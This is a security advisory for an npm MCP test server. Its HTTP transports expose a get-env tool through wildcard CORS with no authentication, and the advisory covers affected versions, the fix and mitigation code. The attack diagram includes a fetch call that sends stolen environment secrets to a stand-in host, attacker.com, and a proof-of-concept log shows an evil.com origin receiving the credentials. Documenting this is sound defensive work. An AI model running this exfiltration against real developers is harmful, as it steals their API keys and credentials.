@MODELCONTEXTPROTOCOL/SERVER-EVERYTHING · GHSA-mvf5-2qqv-rg3c · Package
FIX → 2.0.1
The npm package @modelcontextprotocol/server-everything, when run with its SSE or StreamableHTTP transport, binds to all interfaces with wildcard CORS and no authentication. Any web page a developer visits can call its get-env tool and read every environment variable, including API keys and database credentials.
first public Oct 25, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Only setups that start the server's SSE or StreamableHTTP transport are exposed, because the default stdio transport has no HTTP surface. The risk is highest when secrets sit in the process environment and the developer also browses the web on the same machine. Stdio-only use and Docker images run in stdio mode can skip it.
Not affected if no-http-transport, stdio-transport
Who cares claude-code, developers, mcp, node, npm
npm ls @modelcontextprotocol/server-everything to find the installed version.sse or streamableHttp transport, for example npx @modelcontextprotocol/server-everything sse; stdio use is not affected.The mcp-server-everything package ships an HTTP MCP server that binds to all network interfaces (0.0.0.0) with wildcard CORS (Access-Control-Allow-Origin: *) and no authentication. It exposes a get-env tool that returns the entire contents of process.env — including all API keys, database credentials, and secrets — to any caller. Any web page open in the developer's browser can invoke this tool cross-origin with no user interaction, silently exfiltrating every secret in the process environment.
| File | Issue |
|---|---|
src/everything/transports/sse.ts:10-16 | cors({ origin: "*" }) on SSE transport |
src/everything/transports/streamableHttp.ts:43-51 | cors({ origin: "*" }) on StreamableHTTP transport |
src/everything/tools/get-env.ts:28 | JSON.stringify(process.env, null, 2) — unfiltered env dump |
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 2.0.1
@modelcontextprotocol/server-everything 2.0.1 for affected versions >= 1.0.0, < 2.0.1.2025.9.24 through 2026.8.31 are affected; the advisory lists no fixed date version, so install 2.0.1 explicitly.Both transports, app.listen(PORT) | No host binding restriction; defaults to 0.0.0.0 |
Developer running mcp-server-everything (SSE or StreamableHTTP)
+ real credentials in process.env (API keys, DB passwords, tokens)
+ developer visits any attacker-controlled page (malicious ad, phishing, typosquat)
│
▼
Browser: EventSource("http://localhost:3001/sse") ← CORS: * allows this
│
▼
Attacker page completes MCP handshake (initialize → notifications/initialized)
│
▼
Browser: POST /message?sessionId=... { method: "tools/call", name: "get-env" }
│ ← CORS: * allows this
▼
Server returns JSON.stringify(process.env)
→ AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, DATABASE_URL, all tokens...
│
▼
fetch("https://attacker.com/collect", { body: stolen_env })
│
▼
All secrets exfiltrated. No browser warnings. No user prompts. No logs on victim machine.
Checked all potential mitigations — none are present:
No env var flag to disable get-env: registerGetEnvTool(server) is called unconditionally in tools/index.ts:28. No DISABLE_GET_ENV, NO_GET_ENV, or equivalent.
No CORS allowlist or env var override: origin: "*" is hardcoded. No CORS_ORIGIN, ALLOWED_ORIGINS, or similar override mechanism exists in either transport.
No host binding restriction: app.listen(PORT) with no host parameter. Node defaults to 0.0.0.0, making the server reachable on all interfaces including loopback (browser-accessible) and LAN.
No authentication: No middleware on any route. tools/call is reachable immediately after the MCP handshake.
No secret filtering in get-env: No denylist, no regex scrubbing, no opt-in allowlist. All keys returned.
Verified live on 2026-03-17 against @modelcontextprotocol/server-everything at HEAD (1cdf806).
# Start server with fake credentials in env
SECRET_KEY="REAL_SECRET_EXFILTRATED_12345" \
OPENAI_API_KEY="sk-live-abcdefg" \
PORT=13001 \
node dist/index.js sse
OPTIONS /message HTTP/1.1
Origin: http://evil.com
Access-Control-Request-Method: POST
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: * ← any origin accepted
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: Content-Type
Session: b1fa9222-8ec5-4ace-b7b8-f43659d6bc61
CORS cross-origin request: SUCCEEDED (Origin: evil.com)
Total vars stolen: 47
SECRET_KEY: REAL_SECRET_EXFILTRATED_12345
OPENAI_API_KEY: sk-live-abcdefg
USER: ehudmelzer
All 47 environment variables returned in a single tools/call response. Origin http://evil.com was accepted without restriction.
PoC files: See attacker.html (browser-based) and start-victim-server.sh attached under archive.zip + screen recording demonstration.
| Scenario | Impact |
|---|---|
| Developer runs SSE/StreamableHTTP transport locally during development | All secrets in env exfiltrated by any visited web page |
CI/CD pipeline runs mcp-server-everything with injected credentials | Credentials stolen by any network-adjacent page load |
Docker container with --network host running the server | Same as above, LAN-accessible |
| Developer uses one-click VS Code install shown in README (stdio only) | Not affected — stdio transport has no HTTP surface |
The stdio transport (default) is not affected. Only developers who explicitly start the SSE or StreamableHTTP transports are exposed. However:
mcp/everything) uses stdio — not affectednpx @modelcontextprotocol/server-everything sse — directly affectedBind to loopback only:
app.listen(PORT, "127.0.0.1", () => { ... });
Replace wildcard CORS with localhost-only:
cors({ origin: /^https?:\/\/localhost(:\d+)?$/ })
Remove or gate get-env behind an explicit opt-in flag:
if (process.env.ENABLE_GET_ENV_TOOL === "true") {
registerGetEnvTool(server);
}
Add auth token to HTTP transports (bearer token generated at startup, logged to console).
get-env exposes all process secrets and should never be run in shared or multi-user environmentsReleases before 2025.9.24 did not send permissive CORS headers, so a web page could not read tool results cross-origin. They still checked neither Origin nor Host, so they remain exposed to DNS rebinding, which the Origin check in 2.0.1 also closes. Upgrade from any earlier version.
@modelcontextprotocol/server-everything moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: npm install @modelcontextprotocol/server-everything@2.0.1 (or @latest).